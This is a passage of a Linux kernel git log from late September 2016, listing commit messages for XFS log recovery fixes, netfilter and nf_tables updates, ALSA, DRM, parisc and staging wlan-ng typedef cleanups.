corrupt a ram loaded root filesystem that sits in that memory area before it has been moved. These 2 variables are not used at all after being set, and can just be removed. Reported-by: Christian Gieseler Signed-off-by: Greg Ungerer arch/m68k/coldfire/m53xx.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit bce3414e9df621f537ee30e3dbd7cd4258c81adb Merge: fe0acb5 f20fbc0 Author: David S. Miller Date: Sun Sep 25 20:36:44 2016 -0400 Merge git://git.kernel.org/pub/scm/linux/kernel/git/pablo/nf-next Pablo Neira Ayuso says: ==================== Netfilter updates for net-next The following patchset contains Netfilter updates for your net-next tree, they are: 1) Consolidate GRE protocol tracker using new GRE protocol definitions, patches from Gao Feng. 2) Properly parse continuation lines in SIP helper, update allowed characters in Call-ID header and allow tabs in SIP headers as specified by RFC3261, from Marco Angaroni. 3) Remove useless code in FTP conntrack helper, also from Gao Feng. 4) Add number generation expression for nf_tables, with random and incremental generators. This also includes specific offset to add to the result, patches from Laura Garcia Liebana. Liping Zhang follows with a fix to avoid a race in this new expression. 5) Fix new quota expression inversion logic, added in the previous pull request. 6) Missing validation of queue configuration in nft_queue, patch from Liping Zhang. 7) Remove unused ctl_table_path, as part of the deprecation of the ip_conntrack sysctl interface coming in the previous batch. Again from Liping Zhang. 8) Add offset attribute to nft_hash expression, so we can generate any output from a specific base offset. Moreover, check for possible overflow, patches from Laura Garcia. 9) Allow to invert dynamic set insertion from packet path, to check for overflows in case the set is full. 10) Revisit nft_set_pktinfo*() logic from nf_tables to ensure proper initialization of layer 4 protocol. Consolidate pktinfo structure initialization for bridge and netdev families. 11) Do not inconditionally drop IPv6 packets that we cannot parse transport protocol for ip6 and inet families, let the user decide on this via ruleset policy. 12) Get rid of gotos in __nf_ct_try_assign_helper(). 13) Check for return value in register_netdevice_notifier() and nft_register_chain_type(), patches from Gao Feng. 14) Get rid of CONFIG_IP6_NF_IPTABLES dependency in nf_queue infrastructure that is common to nf_tables, from Liping Zhang. 15) Disable 'found' and 'searched' stats that are updates from the packet hotpath, not very useful these days. 16) Validate maximum value of u32 netlink attributes in nf_tables, this introduces nft_parse_u32_check(). From Laura Garcia. 17) Add missing code to integrate nft_queue with maps, patch from Liping Zhang. This also includes missing support ranges in nft_queue bridge family. 18) Fix check in nft_payload_fast_eval() that ensure that we don't go over the skbuff data boundary, from Liping Zhang. 19) Check if transport protocol is set from nf_tables tracing and payload expression. Again from Liping Zhang. 20) Use net_get_random_once() whenever possible, from Gao Feng. 21) Replace hardcoded value by sizeof() in xt_helper, from Gao Feng. 22) Remove superfluous check for found element in nft_lookup. 23) Simplify TCPMSS logic to check for minimum MTU, from Gao Feng. 24) Replace double linked list by single linked list in Netfilter core hook infrastructure, patchset from Aaron Conole. This includes several patches to prepare this update. 25) Fix wrong sequence adjustment of TCP RST with no ACK, from Gao Feng. 26) Relax check for direction attribute in nft_ct for layer 3 and 4 protocol fields, from Liping Zhang. 27) Add new revision for hashlimit to support higher pps of upto 1 million, from Vishwanath Pai. 28) Evict stale entries in nf_conntrack when reading entries from /proc/net/nf_conntrack, from Florian Westphal. 29) Fix transparent match for IPv6 request sockets, from Krisztian Kovacs. 30) Add new range expression for nf_tables. 31) Add missing code to support for flags in nft_log. Expose NF_LOG_* flags via uapi and use it from the generic logging infrastructure, instead of using xt specific definitions, from Liping Zhang. ==================== Signed-off-by: David S. Miller commit 5cd9cee98b256d94443d93a31efc36212a2bd634 Author: Brian Foster Date: Mon Sep 26 08:34:52 2016 +1000 xfs: log recovery tracepoints to track current lsn and buffer submission Log recovery has particular rules around buffer submission along with tricky corner cases where independent transactions can share an LSN. As such, it can be difficult to follow when/why buffers are submitted during recovery. Add a couple tracepoints to post the current LSN of a record when a new record is being processed and when a buffer is being skipped due to LSN ordering. Also, update the recover item class to include the LSN of the current transaction for the item being processed. Signed-off-by: Brian Foster Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_log_recover.c | 2 ++ fs/xfs/xfs_trace.h | 31 +++++++++++++++++++++++++++++-- 2 files changed, 31 insertions(+), 2 deletions(-) commit 60a4a22251568063c9289eb65099d7c61b4a54b0 Author: Brian Foster Date: Mon Sep 26 08:34:27 2016 +1000 xfs: update metadata LSN in buffers during log recovery Log recovery is currently broken for v5 superblocks in that it never updates the metadata LSN of buffers written out during recovery. The metadata LSN is recorded in various bits of metadata to provide recovery ordering criteria that prevents transient corruption states reported by buffer write verifiers. Without such ordering logic, buffer updates can be replayed out of order and lead to false positive transient corruption states. This is generally not a corruption vector on its own, but corruption detection shuts down the filesystem and ultimately prevents a mount if it occurs during log recovery. This requires an xfs_repair run that clears the log and potentially loses filesystem updates. This problem is avoided in most cases as metadata writes during normal filesystem operation update the metadata LSN appropriately. The problem with log recovery not updating metadata LSNs manifests if the system happens to crash shortly after log recovery itself. In this scenario, it is possible for log recovery to complete all metadata I/O such that the filesystem is consistent. If a crash occurs after that point but before the log tail is pushed forward by subsequent operations, however, the next mount performs the same log recovery over again. If a buffer is updated multiple times in the dirty range of the log, an earlier update in the log might not be valid based on the current state of the associated buffer after all of the updates in the log had been replayed (before the previous crash). If a verifier happens to detect such a problem, the filesystem claims corruption and immediately shuts down. This commonly manifests in practice as directory block verifier failures such as the following, likely due to directory verifiers being particularly detailed in their checks as compared to most others: ... Mounting V5 Filesystem XFS (dm-0): Starting recovery (logdev: internal) XFS (dm-0): Internal error XFS_WANT_CORRUPTED_RETURN at line ... of \ file fs/xfs/libxfs/xfs_dir2_data.c. Caller xfs_dir3_data_verify ... ... Update log recovery to update the metadata LSN of recovered buffers. Since metadata LSNs are already updated by write verifer functions via attached log items, attach a dummy log item to the buffer during validation and explicitly set the LSN of the current transaction. This ensures that the metadata LSN of a buffer is updated based on whether the recovery I/O actually completes, and if so, that subsequent recovery attempts identify that the buffer is already up to date with respect to the current transaction. Signed-off-by: Brian Foster Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_log_recover.c | 41 ++++++++++++++++++++++++++++++++++++++--- 1 file changed, 38 insertions(+), 3 deletions(-) commit 040c52c0aa7c1736522676078ece0483c8596daf Author: Brian Foster Date: Mon Sep 26 08:32:50 2016 +1000 xfs: don't warn on buffers not being recovered due to LSN The log recovery buffer validation function is invoked in cases where a buffer update may be skipped due to LSN ordering. If the validation function happens to come across directory conversion situations (e.g., a dir3 block to data conversion), it may warn about seeing a buffer log format of one type and a buffer with a magic number of another. This warning is not valid as the buffer update is ultimately skipped. This is indicated by a current_lsn of NULLCOMMITLSN provided by the caller. As such, update xlog_recover_validate_buf_type() to only warn in such cases when a buffer update is expected. Signed-off-by: Brian Foster Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_log_recover.c | 58 ++++++++++++++++++++++-------------------------- 1 file changed, 26 insertions(+), 32 deletions(-) commit 22db9af2488655f7f841e9588d25384a5e694fa6 Author: Brian Foster Date: Mon Sep 26 08:32:07 2016 +1000 xfs: pass current lsn to log recovery buffer validation The current LSN must be available to the buffer validation function to provide the ability to update the metadata LSN of the buffer. Pass the current_lsn value down to xlog_recover_validate_buf_type() in preparation. Signed-off-by: Brian Foster Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_log_recover.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 12818d24db8ab01836bf423a7c1be639c3135572 Author: Brian Foster Date: Mon Sep 26 08:22:16 2016 +1000 xfs: rework log recovery to submit buffers on LSN boundaries The fix to log recovery to update the metadata LSN in recovered buffers introduces the requirement that a buffer is submitted only once per current LSN. Log recovery currently submits buffers on transaction boundaries. This is not sufficient as the abstraction between log records and transactions allows for various scenarios where multiple transactions can share the same current LSN. If independent transactions share an LSN and both modify the same buffer, log recovery can incorrectly skip updates and leave the filesystem in an inconsisent state. In preparation for proper metadata LSN updates during log recovery, update log recovery to submit buffers for write on LSN change boundaries rather than transaction boundaries. Explicitly track the current LSN in a new struct xlog field to handle the various corner cases of when the current LSN may or may not change. Signed-off-by: Brian Foster Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner fs/xfs/xfs_log_priv.h | 3 +- fs/xfs/xfs_log_recover.c | 82 +++++++++++++++++++++++++++++++++++++----------- 2 files changed, 66 insertions(+), 19 deletions(-) commit ddeb14f4fb2fa1242829a76edc821f087e50bcdf Author: Dave Chinner Date: Mon Sep 26 08:21:44 2016 +1000 xfs: quiesce the filesystem after recovery on readonly mount Recently we've had a number of reports where log recovery on a v5 filesystem has reported corruptions that looked to be caused by recovery being re-run over the top of an already-recovered metadata. This has uncovered a bug in recovery (fixed elsewhere) but the vector that caused this was largely unknown. A kdump test started tripping over this problem - the system would be crashed, the kdump kernel and environment would boot and dump the kernel core image, and then the system would reboot. After reboot, the root filesystem was triggering log recovery and corruptions were being detected. The metadumps indicated the above log recovery issue. What is happening is that the kdump kernel and environment is mounting the root device read-only to find the binaries needed to do it's work. The result of this is that it is running log recovery. However, because there were unlinked files and EFIs to be processed by recovery, the completion of phase 1 of log recovery could not mark the log clean. And because it's a read-only mount, the unmount process does not write records to the log to mark it clean, either. Hence on the next mount of the filesystem, log recovery was run again across all the metadata that had already been recovered and this is what triggered corruption warnings. To avoid this problem, we need to ensure that a read-only mount always updates the log when it completes the second phase of recovery. We already handle this sort of issue with rw->ro remount transitions, so the solution is as simple as quiescing the filesystem at the appropriate time during the mount process. This results in the log being marked clean so the mount behaviour recorded in the logs on repeated RO mounts will change (i.e. log recovery will no longer be run on every mount until a RW mount is done). This is a user visible change in behaviour, but it is harmless. Signed-off-by: Dave Chinner Reviewed-by: Eric Sandeen Signed-off-by: Dave Chinner fs/xfs/xfs_mount.c | 14 ++++++++++++++ fs/xfs/xfs_super.c | 2 +- fs/xfs/xfs_super.h | 1 + 3 files changed, 16 insertions(+), 1 deletion(-) commit 292378edcb408c652e841fdc867fc14f8b4995fa Author: Dave Chinner Date: Mon Sep 26 08:21:28 2016 +1000 xfs: remote attribute blocks aren't really userdata When adding a new remote attribute, we write the attribute to the new extent before the allocation transaction is committed. This means we cannot reuse busy extents as that violates crash consistency semantics. Hence we currently treat remote attribute extent allocation like userdata because it has the same overwrite ordering constraints as userdata. Unfortunately, this also allows the allocator to incorrectly apply extent size hints to the remote attribute extent allocation. This results in interesting failures, such as transaction block reservation overruns and in-memory inode attribute fork corruption. To fix this, we need to separate the busy extent reuse configuration from the userdata configuration. This changes the definition of XFS_BMAPI_METADATA slightly - it now means that allocation is metadata and reuse of busy extents is acceptible due to the metadata ordering semantics of the journal. If this flag is not set, it means the allocation is that has unordered data writeback, and hence busy extent reuse is not allowed. It no longer implies the allocation is for user data, just that the data write will not be strictly ordered. This matches the semantics for both user data and remote attribute block allocation. As such, This patch changes the "userdata" field to a "datatype" field, and adds a "no busy reuse" flag to the field. When we detect an unordered data extent allocation, we immediately set the no reuse flag. We then set the "user data" flags based on the inode fork we are allocating the extent to. Hence we only set userdata flags on data fork allocations now and consider attribute fork remote extents to be an unordered metadata extent. The result is that remote attribute extents now have the expected allocation semantics, and the data fork allocation behaviour is completely unchanged. It should be noted that there may be other ways to fix this (e.g. use ordered metadata buffers for the remote attribute extent data write) but they are more invasive and difficult to validate both from a design and implementation POV. Hence this patch takes the simple, obvious route to fixing the problem... Reported-and-tested-by: Ross Zwisler Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner fs/xfs/libxfs/xfs_alloc.c | 23 ++++++++++++----------- fs/xfs/libxfs/xfs_alloc.h | 17 +++++++++++++++-- fs/xfs/libxfs/xfs_bmap.c | 41 ++++++++++++++++++++++++++--------------- fs/xfs/libxfs/xfs_bmap.h | 2 +- fs/xfs/xfs_bmap_util.c | 2 +- fs/xfs/xfs_extent_busy.c | 2 +- fs/xfs/xfs_filestream.c | 9 ++++++--- fs/xfs/xfs_trace.h | 8 ++++---- 8 files changed, 66 insertions(+), 38 deletions(-) commit f20fbc0717f9f007c94b2641134b19228d0ce9ed Merge: 8cb2a7d fe0acb5 Author: Pablo Neira Ayuso Date: Sun Sep 25 23:23:57 2016 +0200 Merge branch 'master' of git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-next Conflicts: net/netfilter/core.c net/netfilter/nf_tables_netdev.c Resolve two conflicts before pull request for David's net-next tree: 1) Between c73c24849011 ("netfilter: nf_tables_netdev: remove redundant ip_hdr assignment") from the net tree and commit ddc8b6027ad0 ("netfilter: introduce nft_set_pktinfo_{ipv4, ipv6}_validate()"). 2) Between e8bffe0cf964 ("net: Add _nf_(un)register_hooks symbols") and Aaron Conole's patches to replace list_head with single linked list. Signed-off-by: Pablo Neira Ayuso commit 8cb2a7d5667ab9a9c2fdd356357b85b63b320901 Author: Liping Zhang Date: Sun Sep 25 16:47:05 2016 +0800 netfilter: nf_log: get rid of XT_LOG_* macros nf_log is used by both nftables and iptables, so use XT_LOG_XXX macros here is not appropriate. Replace them with NF_LOG_XXX. Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso net/ipv4/netfilter/nf_log_ipv4.c | 6 +++--- net/ipv6/netfilter/nf_log_ipv6.c | 14 +++++++------- net/netfilter/nf_log_common.c | 4 ++-- 3 files changed, 12 insertions(+), 12 deletions(-) commit ff107d27761ff4b644c82c209e004ec9c8fbbc22 Author: Liping Zhang Date: Sun Sep 25 16:35:56 2016 +0800 netfilter: nft_log: complete NFTA_LOG_FLAGS attr support NFTA_LOG_FLAGS attribute is already supported, but the related NF_LOG_XXX flags are not exposed to the userspace. So we cannot explicitly enable log flags to log uid, tcp sequence, ip options and so on, i.e. such rule "nft add rule filter output log uid" is not supported yet. So move NF_LOG_XXX macro definitions to the uapi/../nf_log.h. In order to keep consistent with other modules, change NF_LOG_MASK to refer to all supported log flags. On the other hand, add a new NF_LOG_DEFAULT_MASK to refer to the original default log flags. Finally, if user specify the unsupported log flags or NFTA_LOG_GROUP and NFTA_LOG_FLAGS are set at the same time, report EINVAL to the userspace. Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_log.h | 11 +++-------- include/uapi/linux/netfilter/nf_log.h | 12 ++++++++++++ net/bridge/netfilter/ebt_log.c | 2 +- net/ipv4/netfilter/ip_tables.c | 2 +- net/ipv4/netfilter/nf_log_arp.c | 2 +- net/ipv4/netfilter/nf_log_ipv4.c | 4 ++-- net/ipv6/netfilter/ip6_tables.c | 2 +- net/ipv6/netfilter/nf_log_ipv6.c | 4 ++-- net/netfilter/nf_tables_core.c | 2 +- net/netfilter/nft_log.c | 9 ++++++++- 10 files changed, 32 insertions(+), 18 deletions(-) commit 0f3cd9b3697708c86a825ae3cedabf7be6fd3e72 Author: Pablo Neira Ayuso Date: Fri Sep 23 15:23:33 2016 +0200 netfilter: nf_tables: add range expression Inverse ranges != [a,b] are not currently possible because rules are composites of && operations, and we need to express this: data < a || data > b This patch adds a new range expression. Positive ranges can be already through two cmp expressions: cmp(sreg, data, >=) cmp(sreg, data, <=) This new range expression provides an alternative way to express this. Signed-off-by: Pablo Neira Ayuso include/net/netfilter/nf_tables_core.h | 3 + include/uapi/linux/netfilter/nf_tables.h | 29 +++++++ net/netfilter/Makefile | 3 +- net/netfilter/nf_tables_core.c | 7 +- net/netfilter/nft_range.c | 138 +++++++++++++++++++++++++++++++ 5 files changed, 178 insertions(+), 2 deletions(-) commit 7a682575ad4829b4de3e672a6ad5f73a05826b82 Author: KOVACS Krisztian Date: Fri Sep 23 11:27:42 2016 +0200 netfilter: xt_socket: fix transparent match for IPv6 request sockets The introduction of TCP_NEW_SYN_RECV state, and the addition of request sockets to the ehash table seems to have broken the --transparent option of the socket match for IPv6 (around commit a9407000). Now that the socket lookup finds the TCP_NEW_SYN_RECV socket instead of the listener, the --transparent option tries to match on the no_srccheck flag of the request socket. Unfortunately, that flag was only set for IPv4 sockets in tcp_v4_init_req() by copying the transparent flag of the listener socket. This effectively causes '-m socket --transparent' not match on the ACK packet sent by the client in a TCP handshake. Based on the suggestion from Eric Dumazet, this change moves the code initializing no_srccheck to tcp_conn_request(), rendering the above scenario working again. Fixes: a940700003 ("netfilter: xt_socket: prepare for TCP_NEW_SYN_RECV support") Signed-off-by: Alex Badics Signed-off-by: KOVACS Krisztian Signed-off-by: Pablo Neira Ayuso net/ipv4/tcp_input.c | 1 + net/ipv4/tcp_ipv4.c | 1 - 2 files changed, 1 insertion(+), 1 deletion(-) commit 089cfdd9b0ec1b21d3356d2e057f69b89d46ae66 Author: Baoyou Xie Date: Sun Sep 25 15:32:44 2016 +0800 drm: bridge: analogix/dp: mark symbols static where possible We get 2 warnings when building kernel with W=1: drivers/gpu/drm/bridge/analogix/analogix_dp_core.c:1053:5: warning: no previous prototype for 'analogix_dp_get_modes' [-Wmissing-prototypes] drivers/gpu/drm/bridge/analogix/analogix_dp_core.c:1097:1: warning: no previous prototype for 'analogix_dp_detect' [-Wmissing-prototypes] In fact, both functions are only used in the file in which they are declared and don't need a declaration, but can be made static. So this patch marks both functions with 'static'. Signed-off-by: Baoyou Xie Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1474788764-6069-1-git-send-email-baoyou.xie@linaro.org drivers/gpu/drm/bridge/analogix/analogix_dp_core.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 41bb156ea950e8f9c8730e60aaaca7eb9754c173 Author: Baoyou Xie Date: Sun Sep 25 15:25:34 2016 +0800 drm/bochs: mark bochs_connector_get_modes() static We get 1 warning when building kernel with W=1: drivers/gpu/drm/bochs/bochs_kms.c:181:5: warning: no previous prototype for 'bochs_connector_get_modes' [-Wmissing-prototypes] In fact, this function is only used in the file in which it is declared and don't need a declaration, but can be made static. So this patch marks it 'static'. Signed-off-by: Baoyou Xie Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1474788334-11007-1-git-send-email-baoyou.xie@linaro.org drivers/gpu/drm/bochs/bochs_kms.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b8129a1f6aaaca02d92186acf19ceb545b4b489a Author: Wei Yongjun Date: Sun Sep 25 15:36:39 2016 +0000 genirq: Make function __irq_do_set_handler() static Fixes the following sparse warning: kernel/irq/chip.c:786:1: warning: symbol '__irq_do_set_handler' was not declared. Should it be static? Signed-off-by: Wei Yongjun Link: http://lkml.kernel.org/r/1474817799-18676-1-git-send-email-weiyj.lk@gmail.com Signed-off-by: Thomas Gleixner kernel/irq/chip.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8da08ca03b73593d5299893bf29fc08569c3fb5f Author: Takashi Sakamoto Date: Sun Sep 25 22:00:20 2016 +0900 ALSA: usb-line6: use the same declaration as definition in header for MIDI manufacturer ID Currently, usb-line6 module exports an array of MIDI manufacturer ID and usb-pod module uses it. However, the declaration is not the definition in common header. The difference is explicit length of array. Although compiler calculates it and everything goes well, it's better to use the same representation between definition and declaration. This commit fills the length of array for usb-line6 module. As a small good sub-effect, this commit suppress below warnings from static analysis by sparse v0.5.0. sound/usb/line6/driver.c:274:43: error: cannot size expression sound/usb/line6/driver.c:275:16: error: cannot size expression sound/usb/line6/driver.c:276:16: error: cannot size expression sound/usb/line6/driver.c:277:16: error: cannot size expression Fixes: 705ececd1c60 ("Staging: add line6 usb driver") Signed-off-by: Takashi Sakamoto Signed-off-by: Takashi Iwai sound/usb/line6/driver.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 318824d3d0795309b448563faa698d3c02035db4 Author: Takashi Sakamoto Date: Sat Sep 24 19:28:23 2016 +0900 ALSA: control: cage TLV_DB_RANGE_HEAD in kernel land because it was obsoleted In commit bf1d1c9b6179 ("ALSA: tlv: add DECLARE_TLV_DB_RANGE()"), the new macro was added so that "dB range information can be specified without having to count the items manually for TLV_DB_RANGE_HEAD()". In short, TLV_DB_RANGE_HEAD macro was obsoleted. In commit 46e860f76804 ("ALSA: rename TLV-related macros so that they're friendly to user applications"), TLV-related macros are exposed for applications in user land to get content of data structured by Type/Length/Value shape. The commit managed to expose TLV-related macros as many as possible, while obsoleted TLV_DB_RANGE_HEAD() was included to the list of exposed macros. This situation brings some confusions to application developers because they might think all exposed macros have their own purpose and useful for applications. For the reason, this commit moves TLV_DB_RANGE_HEAD macro from UAPI header to a header for kernel land, again. The above commit is done within the same development period for kernel 4.9, thus not published yet. This commit might certainly brings no confusions to user land. Reference: commit bf1d1c9b6179 ("ALSA: tlv: add DECLARE_TLV_DB_RANGE()") Reference: commit 46e860f76804 ("ALSA: rename TLV-related macros so that they're friendly to user applications") Signed-off-by: Takashi Sakamoto Signed-off-by: Takashi Iwai include/sound/tlv.h | 9 ++++++++- include/uapi/sound/tlv.h | 3 --- 2 files changed, 8 insertions(+), 4 deletions(-) commit 92420bd0d01f040bbf754e1d090be49ca6a1c8d6 Author: Helge Deller Date: Sat Sep 24 22:22:12 2016 +0200 parisc: Fix self-detected CPU stall warnings on Mako machines The config option HAVE_UNSTABLE_SCHED_CLOCK is set automatically when compiling for SMP. There is no need to clear the stable-clock flag via clear_sched_clock_stable() when starting secondary CPUs, and even worse, clearing it triggers wrong self-detected CPU stall warnings on 64bit Mako machines. Signed-off-by: Helge Deller Cc: stable@vger.kernel.org # 4.7+ arch/parisc/kernel/time.c | 6 ------ 1 file changed, 6 deletions(-) commit 0ae952e3bd1c761d4952c8ff1a259292e4f03e89 Author: Sergio Paracuellos Date: Sun Sep 25 15:35:08 2016 +0200 staging: wlan-ng: fix block comments style errors This patch fixes the following checkpatch.pl warning in p80211types.h: WARNING: Block comments should align the * on each line Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211types.h | 135 +++++++++++++++++----------------- 1 file changed, 68 insertions(+), 67 deletions(-) commit f8b8f64f4140333f2f6766f2a88fa7f902d5ef9d Author: Sergio Paracuellos Date: Sun Sep 25 15:35:07 2016 +0200 staging: wlan-ng: avoid new typedef: p80211item_unk4096_t This patch fixes the following checkpatch.pl warning in p80211types.h: WARNING: do not add new typedefs It applies for typedef p80211item_unk4096_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211metastruct.h | 4 ++-- drivers/staging/wlan-ng/p80211types.h | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) commit 1ad26f70e43518144ad760a97b7323cc85fe17fa Author: Sergio Paracuellos Date: Sun Sep 25 15:35:06 2016 +0200 staging: wlan-ng: avoid new typedef: p80211item_unk1024_t This patch fixes the following checkpatch.pl warning in p80211types.h: WARNING: do not add new typedefs It applies for typedef p80211item_unk1024_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211metastruct.h | 2 +- drivers/staging/wlan-ng/p80211types.h | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) commit 37e48668cee8b32aea70a8a4e6c36725aaa52d5e Author: Sergio Paracuellos Date: Sun Sep 25 15:35:05 2016 +0200 staging: wlan-ng: avoid new typedef: p80211item_unk392_t This patch fixes the following checkpatch.pl warning in p80211types.h: WARNING: do not add new typedefs It applies for typedef p80211item_unk392_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211metastruct.h | 4 ++-- drivers/staging/wlan-ng/p80211netdev.c | 2 +- drivers/staging/wlan-ng/p80211types.h | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) commit 3636ab01fd8e846892844dcf6170244b1d6ace0b Author: Sergio Paracuellos Date: Sun Sep 25 15:35:04 2016 +0200 staging: wlan-ng: avoid new typedef: p80211item_pstr255_t This patch fixes the following checkpatch.pl warning in p80211types.h: WARNING: do not add new typedefs It applies for typedef p80211item_pstr255_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211types.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 6a50b5afac396a708fa2cf18dd806603e90aad76 Author: Sergio Paracuellos Date: Sun Sep 25 15:35:03 2016 +0200 staging: wlan-ng: avoid new typedef: p80211item_pstr32_t This patch fixes the following checkpatch.pl warning in p80211types.h: WARNING: do not add new typedefs It applies for typedef p80211item_pstr32_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/cfg80211.c | 4 ++-- drivers/staging/wlan-ng/p80211metastruct.h | 8 ++++---- drivers/staging/wlan-ng/p80211types.h | 4 ++-- 3 files changed, 8 insertions(+), 8 deletions(-) commit f055b21142f613b363fa8bece91cdb6ca326677d Author: Sergio Paracuellos Date: Sun Sep 25 15:35:02 2016 +0200 staging: wlan-ng: avoid new typedef: p80211item_pstr14_t This patch fixes the following checkpatch.pl warning in p80211types.h: WARNING: do not add new typedefs It applies for typedef p80211item_pstr14_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211metastruct.h | 2 +- drivers/staging/wlan-ng/p80211types.h | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) commit 34aae059939daf5f9298241d3981b9f421ff3dd1 Author: Sergio Paracuellos Date: Sun Sep 25 15:35:01 2016 +0200 staging: wlan-ng: avoid new typedef: p80211item_pstr6_t This patch fixes the following checkpatch.pl warning in p80211types.h: WARNING: do not add new typedefs It applies for typedef p80211item_pstr6_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211metastruct.h | 4 ++-- drivers/staging/wlan-ng/p80211netdev.c | 4 ++-- drivers/staging/wlan-ng/p80211types.h | 4 ++-- 3 files changed, 6 insertions(+), 6 deletions(-) commit b26b232544601facdbf41e0e72f1a4ae1d2e8f00 Author: Sergio Paracuellos Date: Sun Sep 25 15:35:00 2016 +0200 staging: wlan-ng: avoid new typedef: p80211item_uint32_t This patch fixes the following checkpatch.pl warning in p80211types.h: WARNING: do not add new typedefs It applies for typedef p80211item_uint32_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/cfg80211.c | 8 +- drivers/staging/wlan-ng/p80211metastruct.h | 224 ++++++++++++++--------------- drivers/staging/wlan-ng/p80211netdev.c | 2 +- drivers/staging/wlan-ng/p80211types.h | 4 +- drivers/staging/wlan-ng/prism2sta.c | 2 +- 5 files changed, 120 insertions(+), 120 deletions(-) commit ac033ec9f71a7107b64390fd9b52f799a22acedf Author: Sergio Paracuellos Date: Sun Sep 25 15:34:59 2016 +0200 staging: wlan-ng: avoid new typedef: p80211itemd_t This patch fixes the following checkpatch.pl warning in p80211types.h: WARNING: do not add new typedefs It applies for typedef p80211itemd_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211req.c | 2 +- drivers/staging/wlan-ng/p80211types.h | 4 ++-- drivers/staging/wlan-ng/prism2fw.c | 4 ++-- drivers/staging/wlan-ng/prism2mib.c | 4 ++-- 4 files changed, 7 insertions(+), 7 deletions(-) commit cf796937323dba7622409801a96fa09741523505 Author: Sergio Paracuellos Date: Sun Sep 25 15:34:58 2016 +0200 staging: wlan-ng: avoid new typedef: p80211item_t This patch fixes the following checkpatch.pl warning in p80211types.h: WARNING: do not add new typedefs It applies for typedef p80211item_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211types.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 46c226d77e9175daa85e7bb4a215724131069957 Author: Sergio Paracuellos Date: Sun Sep 25 15:34:57 2016 +0200 staging: wlan-ng: avoid new typedef: p80211macarray_t This patch fixes the following checkpatch.pl warning in p80211types.h: WARNING: do not add new typedefs It applies for typedef p80211macarray_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211types.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 758f140d473893bbfad9b9bbf6597ce93d55f415 Author: Sergio Paracuellos Date: Sun Sep 25 15:34:56 2016 +0200 staging: wlan-ng: avoid new typedef: p80211pstr32_t This patch fixes the following checkpatch.pl warning in p80211types.h: WARNING: do not add new typedefs It applies for typedef p80211pstr32_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211netdev.h | 2 +- drivers/staging/wlan-ng/p80211types.h | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) commit 5d005584199bb481d052db946f6eb23d64222b25 Author: Sergio Paracuellos Date: Sun Sep 25 15:34:55 2016 +0200 staging: wlan-ng: avoid new typedef: p80211pstr14_t This patch fixes the following checkpatch.pl warning in p80211types.h: WARNING: do not add new typedefs It applies for typedef p80211pstr14_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211types.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 2816c008985fe2da20a40ca81d8d9232c9e7b035 Author: Sergio Paracuellos Date: Sun Sep 25 15:34:54 2016 +0200 staging: wlan-ng: avoid new typedef: p80211pstr6_t This patch fixes the following checkpatch.pl warning in p80211types.h: WARNING: do not add new typedefs It applies for typedef p80211pstr6_t Signed-off-by: Sergio Paracuellos Signed-off-by: Greg Kroah-Hartman drivers/staging/wlan-ng/p80211types.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 94a29147beb0a777a62230cd4c5b1d3fb080ab29 Author: Sergio Paracuellos Date: Sun Sep 25 15:34:53 2016 +0200 staging: wlan-ng: avoid new typedef: p80211pstr255_t This patch fixes the following checkpatch.pl warning in p80211types.h: WARNING: do not add new typedefs It applies for typedef p80211pstr255_t Signed-off-by: Sergio 